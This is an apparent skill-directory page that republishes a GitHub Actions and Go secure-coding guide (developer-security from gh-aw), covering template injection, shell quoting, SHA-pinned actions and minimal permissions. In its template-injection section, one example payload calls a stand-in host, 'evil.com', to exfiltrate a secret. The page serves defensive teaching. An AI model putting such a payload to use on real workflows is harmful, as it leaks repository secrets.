Official agent skill

Developer Security

by github in github/gh-aw

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

OfficialMITAuto-check passedSecurity

Install Developer Security

skills CLI
$ npx skills add github/gh-aw --skill developer-security -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install github/gh-aw developer-security --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/github/gh-aw.git skills-src && mkdir -p .claude/skills && cp -r skills-src/.github/skills/developer-security .claude/skills/developer-security && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
developer-security
GitHub stars
5.3k
Token cost
~2.8k tokens
SKILL.md length
779 words
Files
1
Skills in repo
52
Repo updated
First seen
Licence
MIT

At a glance

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

  • Tasks that involve Shell scripting
  • Calls gh, curl and git; reaches github.com and api.github.com
  • Tasks that involve Supply chain security
  • Tasks that involve Static analysis and SAST

What it does

Developer Security is an agent skill from github/gh-aw, published by the product's own GitHub organization. Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

Its SKILL.md is about 2.8k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Shell scripting, Supply chain security and Static analysis and SAST. It works with Bash and GitHub. The repository describes itself as: GitHub Agentic Workflows. The licence is MIT.

When your agent uses it

  • Tasks that involve Shell scripting
  • Tasks that involve Supply chain security
  • Tasks that involve Static analysis and SAST

Example prompts

  • “/developer-security”

What it can do on your machine

Read from SKILL.md and the folder at commit eb63040. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • gh
    • curl
    • git
    • actionlint

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • github.com
    • api.github.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Developer Security loads about 2.8k tokens when it runs. Until then it costs about 47 tokens; SKILL.md has 779 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~47
When it runs · the whole SKILL.md, loaded when a task matches
~2.8k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from github/gh-aw at commit eb63040, republished under its MIT licence (© github). 779 words, ~2,841 tokens.

Download SKILL.mdSave it as .claude/skills/developer-security/SKILL.md (or your agent's skills folder).
name
developer-security
description
Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern
yaml
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables
yaml
# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison
mermaid
graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end
Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

  • copilot-session-insights.md - Step output passed through environment variable
  • Pattern: Move template expressions from bash scripts to environment variable assignments

See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)
yaml
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

The steps.sanitized.outputs.text output is automatically sanitized:

  • @mentions neutralized
  • Bot triggers protected
  • XML tags converted to safe format
  • Only HTTPS URIs from trusted domains
  • Content limits enforced (0.5MB, 65k lines)
  • Control characters removed
Safe Context Variables

Always safe to use in expressions:

  • github.actor
  • github.repository
  • github.run_id
  • github.run_number
  • github.sha

Never safe in expressions without environment variable indirection:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.head_ref (can be controlled by PR authors)
Cross-Trigger Nullability in Generated Conditional Expressions

When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.

GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).

Insecure Pattern (missing trigger guard)
go
// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
    "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.

Secure Pattern (event_name + nullability guard)
go
// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
    "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)
Required Guidance for Condition Generation
  • Guard every trigger-specific object chain (github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.
  • Add nullability guards for each parent object in the chain before accessing deeper properties.
  • For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
  • Prefer conservative composition (A && B && C) where early terms validate event type/object existence before nested access.
Verification Checklist
  • Enumerate all declared triggers in the generated workflow.
  • For each generated condition, confirm nested event-field access is valid for every trigger.
  • Validate that unsupported triggers short-circuit before nested field access.
  • Add/update tests in pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.
Shell Script Best Practices
Show full SKILL.md (320 more words)Show less
SC2086: Double Quote to Prevent Globbing and Word Splitting

Insecure:

yaml
steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.

Secure:

yaml
steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")
Shell Script Security Checklist
  • Always quote variable expansions: "$VAR"
  • Use [[ ]] instead of [ ] for conditionals
  • Use $() instead of backticks for command substitution
  • Enable strict mode: set -euo pipefail
  • Validate and sanitize all inputs
  • Use shellcheck to catch common issues

Example secure script:

yaml
steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"
Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

Pin Action Versions with SHA

Insecure:

yaml
steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

Secure:

yaml
steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.

Finding SHA for Actions
bash
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
Workflow Structure and Permissions
Minimal Permissions Principle

Insecure:

yaml
name: CI
on: [push]

permissions: write-all

Secure:

yaml
name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test
Job-Level Permissions
yaml
name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy
Available Permissions
PermissionReadWriteUse Case
contentsRead codePush codeRepository access
issuesRead issuesCreate/edit issuesIssue management
pull-requestsRead PRsCreate/edit PRsPR management
actionsRead runsCancel runsWorkflow management
checksRead checksCreate checksStatus checks
deploymentsRead deploymentsCreate deploymentsDeployment management
Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

Available Tools
  • actionlint - Lints GitHub Actions workflows, validates shell scripts
  • zizmor - Security vulnerability scanner for GitHub Actions
  • poutine - Supply chain security analyzer
Running Locally
bash
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
Security Checklist
Template Injection
  • No untrusted input in ${{ }} expressions
  • Untrusted data passed via environment variables
  • Safe context variables used where possible
  • Sanitized context used (gh-aw: steps.sanitized.outputs.text)
Shell Scripts
  • All variables quoted: "$VAR"
  • No SC2086 warnings (unquoted expansion)
  • Strict mode enabled: set -euo pipefail
  • Input validation implemented
  • shellcheck passes with no warnings
Supply Chain
  • All actions pinned to SHA (not tags/branches)
  • Version comments added to pinned actions
  • Actions from verified creators or reviewed
  • Dependencies scanned for vulnerabilities
Permissions
  • Minimal permissions specified
  • No write-all permissions
  • Job-level permissions used when needed
  • Fork PR handling secure
Static Analysis
  • actionlint passes (no errors)
  • zizmor passes (High/Critical addressed)
  • poutine passes (supply chain secure)

© github, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in .github/skills/developer-security of github/gh-aw.

Open the folder on GitHubat commit eb63040

Compare with similar skills

Developer Security next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Developer Security compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Developer Security this skillgithub/gh-aw5.3k—~2.8kAutomated safety check: PassMIT
Kedro Security Reviewkedro-org/kedro11k—~3.3kAutomated safety check: PassCustom licence
Pyspector Security AuditParzivalHack/PySpector151—~3.5kAutomated safety check: NotesApache-2.0
SkepticRaoFoundation/subtensor387—~660Automated safety check: PassApache-2.0
Kedro Plugins Security Reviewkedro-org/kedro-plugins119—~3.1kAutomated safety check: PassApache-2.0
Cyber NeoHainrixz/cyber-neo281—~5.9kAutomated safety check: WarnMIT

Similar skills

  • Kedro Security Review

    kedro-org/kedro

    Run a Kedro security scan on the full codebase or just a pull request.

    11k GitHub stars~3.3k tokensUpdated yesterday
    SecurityAuto-check passed
  • Pyspector Security Audit

    ParzivalHack/PySpector

    Run a full Python codebase security audit using PySpector (https://github.com/ParzivalHack/PySpector), a Rust-core SAST scanner.

    151 GitHub stars~3.5k tokensUpdated 9 days ago
    SecurityAuto-check: notes
  • Skeptic

    RaoFoundation/subtensor

    Run the security-focused Skeptic persona on the local working tree's diff against a base branch.

    387 GitHub stars~660 tokensUpdated today
    SecurityAuto-check passed
  • Kedro Plugins Security Review

    kedro-org/kedro-plugins

    Run a security scan on the kedro-plugins codebase or a pull request.

    119 GitHub stars~3.1k tokensUpdated 6 days ago
    SecurityAuto-check passed
  • Cyber Neo

    Hainrixz/cyber-neo

    Comprehensive cybersecurity analysis for any local project. An agent skill from Hainrixz/cyber-neo.

    281 GitHub stars~5.9k tokensUpdated 2 mo ago
    SecurityAuto-check: warnings
  • Official

    Statically audits GitHub Actions workflows that run AI coding agents, tracing attacker-controlled input to agent prompts and flagging unsafe sandbox, trigger and allowlist settings.

    7.4k GitHub starsUsed in 6 repos~5.4k tokens
    SecurityAuto-check: notes

More from github/gh-aw

All 52 skills in this repo
  • Official

    Drives a real browser from the command line with playwright-cli to open pages, interact, mock requests, save state and work with Playwright tests.

    5.3k GitHub starsUsed in 23 repos~2.8k tokens
    Auto-check passed
  • Official

    Designs and verifies a deterministic grader that measures whether a GitHub Agentic Workflow run reached its real-world or repository outcome.

    5.3k GitHub stars~6.8k tokensUpdated today
    Auto-check passed
  • Official

    Scaffolds, edits, reloads and debugs a canvas extension that the GitHub Copilot CLI can open in its side panel.

    5.3k GitHub stars~3.7k tokensUpdated today
    Auto-check passed
  • Official

    Drives an open pull request to merge-ready from inside a GitHub Copilot cloud agent, resolving review threads and local checks concurrently, without merging or retriggering CI.

    5.3k GitHub stars~3.8k tokensUpdated today
    Auto-check: warnings
  • Official

    Bumps gh-aw's pinned gh-aw-firewall version, rebuilds generated artifacts, and flags upstream spec or schema changes that need follow-up work.

    5.3k GitHub stars~899 tokensUpdated today
    Auto-check passed
  • Official

    Guide to the console struct tag system in gh-aw: headers, titles, number and cost formats, omitempty, and how structs, slices and maps render in the terminal.

    5.3k GitHub stars~736 tokensUpdated today
    Auto-check passed

Works with

Categories

Questions about Developer Security

What does Developer Security do?

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration. Developer Security is an agent skill from github/gh-aw, published by the product's own GitHub organization. Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

When should I use Developer Security?

Developer Security fits situations like: tasks that involve Shell scripting; tasks that involve Supply chain security; tasks that involve Static analysis and SAST.

How do I install Developer Security in Claude Code?

Run `npx skills add github/gh-aw --skill developer-security -a claude-code`. Or copy the skill folder (.github/skills/developer-security in github/gh-aw) into .claude/skills/developer-security in your project. Claude Code loads it when a task matches its description.

How do I install Developer Security in Codex?

Run `npx skills add github/gh-aw --skill developer-security -a codex`. Or copy the skill folder (.github/skills/developer-security in github/gh-aw) into .agents/skills/developer-security in your project. Codex loads it when a task matches its description.

Can I use Developer Security in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add github/gh-aw --skill developer-security -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/developer-security, .gemini/skills/developer-security, .github/skills/developer-security and .opencode/skills/developer-security in your project.

What does Developer Security need to run?

Going by SKILL.md and its folder, Developer Security needs the command-line tools its instructions call (gh, curl, git and actionlint).

Does Developer Security access the network?

SKILL.md names 2 domains. In commands or code: github.com and api.github.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Developer Security safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Developer Security use?

Developer Security is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Developer Security use?

About 2.8k tokens (SKILL.md is roughly 11k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Developer Security?

Skills that share tags, products or a category with Developer Security: Kedro Security Review (kedro-org/kedro, 11k stars), Pyspector Security Audit (ParzivalHack/PySpector, 151 stars), Skeptic (RaoFoundation/subtensor, 387 stars) and Kedro Plugins Security Review (kedro-org/kedro-plugins, 119 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Developer Security?

github (a GitHub organization, an official publisher) maintains it in github/gh-aw, which has 5,350 GitHub stars. The repository holds 52 skills in this directory. The repository was last updated on October 7, 2026.

Source: github/gh-aw on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.